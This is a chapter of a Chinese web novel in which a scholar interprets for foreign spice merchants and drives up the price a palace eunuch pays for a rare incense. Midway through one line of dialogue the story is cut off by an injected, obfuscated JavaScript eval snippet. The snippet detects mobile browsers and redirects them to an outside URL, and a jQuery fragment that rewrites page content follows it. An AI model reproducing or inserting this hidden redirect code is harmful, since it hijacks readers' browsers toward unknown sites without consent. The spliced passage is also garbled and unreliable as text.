20. 放榜倒数第二日(八)
作品:《拯救权宦年少时》 就在温砚心急如焚之时,谢鹤期突然向何玠拱手一礼,开口道:
“何公公,家师年少时曾任太常寺四夷馆通事,于四方夷语颇有造诣。闲来无事之时,鹤期亦曾与家师研习诸国言语,鹤期正好对小宛国语略通一二。不知可否允准鹤期随行,以助公公一臂之力?”
何玠求之不得:“如此甚好,那谢先生就一起来吧。”
温砚眸中一亮。世人皆说雪中送炭救危解难,谢鹤期这岂止是雪中送炭,分明是暖炉锦衾一并递到了她手边!
温砚看着眼前豁然明朗的局势,只觉恍若梦中。前一刻她还进退维谷,如履薄冰,却因谢鹤期在,便扭转乾坤,云开雾散。
带着一丝隐秘而又雀跃的甜,一股难以言喻的暖流悄然涌动。
温砚的脚步也轻松了起来。
她知道他可以信任,一直都是。
须尽欢离马行街并不算远,一行人很快来到了西域会馆。
但温砚的心中还是有些不安,她担心阿沙衣那群人过于实诚,待会儿一开口便漏了底细。
而谢鹤期起初并未参与此事,对她的诸般谋划全然不知,只怕会是在老谋深算的何玠面前吃不少亏。
可就在在迈过会馆大门之时,方才一直走在后面的谢鹤期,突然加快了步子,在与她擦肩而过之时,极快极轻对她说了句“别怕”。
简单的两个字,竟让她心中那点不安也平复了下来。
走进客房,阿沙衣一见到温砚,碧色的眸子便瞬间一亮,他满脸笑意地走上前,正欲用生硬的中原话问候温砚时,一旁的谢鹤期却不动声色地上前半步,极其自然地用一串流畅急促的小宛国语将他打断。
阿沙衣明显愣了一下,注意力立刻被乡音吸引了过去。两人语速飞快地交谈起来,那些陌生的音节在温砚耳中如听天书,她只能从阿沙衣表情神态的变化上,猜测着他们究竟在说什么。
温砚此刻最关心的就是到底能谈到什么价钱。
如今沉、麝、龙、檀并称四大名香,其中龙涎香价值最高。户部采买的极品龙涎香约需一千二百两白银一斤,而品质稍次者,价格则在百两至数百两之间不等。至于沉香,上等品有着一寸檀香一寸金的说法,而品质稍次者也能售出一两沉香一两银的价格。
眼下,京中各大商户和青楼给到迷蝶香的收购价大多在每斤一千五百两左右,虽然这已远远地超出了阿沙衣他们的心理预期——毕竟一开始,他们只是打算以每斤百两的价格出售。
而温砚最初冒死找到何玠的原因,就是想通过他打通宫中的销路,使迷蝶香能真正在宫中成为有市无价的紧缺货品。到那时,以何等价格还不是卖家说了算。
但如今,她的想法已经有所改变。
匹夫无罪,怀璧其罪。
阿沙衣他们是一群异乡人,在京中无根无底,而迷蝶香又太过珍贵。当迷蝶香的名声在京中真正打响时,于他们而言,这不再是奇货可居的生意,而是悬在头顶的利刃。
这香料在他们手中,不是带来富贵的聚宝盆,而是招致祸患的催命符。任何一个嗅到腥味儿的豺狼,都会毫不犹豫地将他们这群无依无靠的胡商撕碎吞噬,连骨头都不会剩下。
所以,温砚现下反而觉得,越早将这些香料售出越好。
先前阿沙衣他们已经通过京中的香料铺和青楼这两条渠道,售出了二十余斤的香料,还剩下七十余斤。
迷蝶香价格昂贵,寻常富户已无力承接,这个数量,绝非零星售卖之道可以快速售尽。能大量购买此物的,不是富可敌国的巨贾,便是权倾朝野的显贵。
当然,最好的选择,自是那天底下最尊贵的买主——皇宫。唯有那里,方能一口吃下全部存货。
而何玠,则是那九重宫阙和他们之间最好的桥梁。
为将迷蝶香快速脱手,温砚的心理价位自然也有所降低。按以前她的计划是至少十倍以上,上不封顶。也就是说每斤至少千两以上。
但如今,若是有大买家,以每斤千两的银钱出售也不是不能接受。
不过,价格当然是越高越好。
只是......
温砚看了眼一脸质朴、几乎把“诚信”二字写在脸上的阿沙衣,以及他身后那群肌肉虬结、神情却更加质朴的西域大汉们;又看了眼一旁身姿如松、气质清正端方得仿佛不沾半点尘俗烟火的谢鹤期。
温砚叹了一口气,怕是谈不到什么好价钱了。
就在这时,谢鹤期转过身来,对何玠躬身一礼,道:“何公公,鹤期已将大致的情况了解清楚。”
一旁的小太监正给何玠递过一盏茶水,何玠刚接过,连茶都没来得及饮,便连忙问:“那谢先生说说,此香是何价钱?”
“禀公公,”谢鹤期从容不迫,语调平稳无波,“小宛客商的要价是每斤千两。”
温砚轻叹了口气,果然。
而何玠的眼睛瞬间一亮。
但那亮光只持续了一瞬,在极其微妙的一瞬停顿之后,谢鹤期清晰地吐出最后两个字:“黄金。”
何玠手中的茶盏剧烈地抖了抖,那成色极好的官窑瓷盏险些脱手坠地。
温砚不敢置信地看向谢鹤期——
只见谢鹤期神色无波,眉眼间依旧是一派光风霁月,气质依然清正端方得不染半点人间烟火。
一两黄金十两银,这要价比温砚的设想翻了十倍!
何玠颤抖着手把茶盏放到嘴边呷了一口,过了片刻,才勉强笑道:”呵呵,谢先生。沉麝龙檀四大名香之首的龙涎香,宫中采买也不过每斤一千二百两。这迷蝶香虽是不俗,但……开口就要价万两之巨,未免有些……骇人听闻了吧?”
谢鹤期依旧是一幅清风朗月的模样,“禀公公,但鹤期认为,龙涎香虽为沉麝龙檀四大名香之首,然小宛国的迷蝶,其价更在龙涎香之上。”
他语气沉静却字字清晰,“据这些小宛国客商所言,龙涎香耗银钱、耗人力即可寻得。上等龙涎香虽千金难求,但南海年年都有渔人偶得。”
“唯独这来自西域的‘迷蝶’——得之需要机缘,需要天眷。制“迷蝶”所需的天山灵芷,十年发芽,十年开花,十年结果,一朝采撷便数十年再难觅得踪迹。”
“而此香数量虽有数十斤之巨,分量惊人,不过这些‘迷蝶’是小宛国倾全国之力,花数十年时间累下的积蓄。而往后数十年,世上再也难寻到‘迷蝶’。故此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303872|182191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,要价每斤黄金千两亦是合情合理。”
据小宛客商所言......
温砚瞥向阿沙衣,只见他那双碧蓝的眸子躲躲闪闪,满是心虚,他身旁那几个魁梧的西域大汉更是局促得恨不得将壮硕的身子蜷作一团。
不可能!
这话他们绝对不可能说得出来!
所幸何玠此刻全部注意力都在谢鹤期上,未曾留意旁处。否则,以阿沙衣几人这般情状,只怕顷刻便要露出破绽。
闻言,何玠干笑了两声,道:“这数目.....当真就不能少点?”
谢鹤期从容应道:“据客商所言,确实如此。”
何玠眸光闪烁,分明是心痒难耐,却偏作权衡之态,“那.....便容咱家考虑一番罢。”
谢鹤期沉吟片刻,又道:”何公公,鹤期有一问,不知当问不当问?“
“谢先生请讲。”
谢鹤期停顿少许,似在斟酌语言,“敢问何公公可是要以私人名义购下所有的’迷蝶‘?”
何玠深深地看了谢鹤期一眼,停了片刻,才轻笑道:“谢先生不愧是老祖宗看重的人。”
“那何公公稍候片刻,那鹤期便与小宛客商再交涉一番。”
温砚心中惊讶,这何玠竟想以私人名义吞下这七十斤迷蝶。
不过细想之下倒也不意外,何玠贪婪,前世能为了钱财,放过朝堂上争得你死我活的政敌。如今若瞒着司礼监,将这迷蝶香以私人名义买下,引得京中权贵竞相追逐之时,他变成了那手持奇货待价而沽之人。
这也是温砚一开始的谋划,只可惜她无权无势,自然也接不住这泼天的富贵。
又过了半盏茶的时间,谢鹤期方又过来回禀:“若是何公公欲将这‘迷蝶’尽数收购,小宛客商愿让利三分,以七千两白银一斤的价格出售。”
何玠神色微动,但仍显犹豫:“这价码.......未免还是高了些。”
这迷蝶香他势在必得,只是眼下要他立刻拿出五十万两白银,账面上确有些吃紧。
虽说是吃紧,却也不是无从周转。他虽身在司礼监,可内务府那头负责采买的掌事太监,正是他一手提拔的干儿子。只要他开口,从宫中用度里暂且挪出一笔银子来应个急,也不过是一句话的事。
只是此事……终究是瞒着上头和老祖宗的行径,若是挪用宫中用度之事暴露,怕是免不了责罚。
何况那位主子虽热衷修道,亦少理政事,但是对国库和内帑的收入支出都关心得紧......若是被发现了......
总之此事风险不小。
但是话说回来,富贵险中求,这笔香料生意摆明了就稳赚不赔的声音。
名香售价,上不封顶,一两珍品动辄就要售出数百两纹银。
这‘迷蝶’又是世间罕见的珍宝,待它名头打响,便是一两百金怕也是有人愿购。
何玠心头正天人交战,忽见谢鹤期嘴唇微动,似欲言又止。
他此刻全副心神皆系于谢鹤期一身,自是将这点细微变化尽收眼底。
何玠心中越发着急,脸上却挤出一个和气的笑,“可是小宛客商还说了什么,谢先生直言便是。”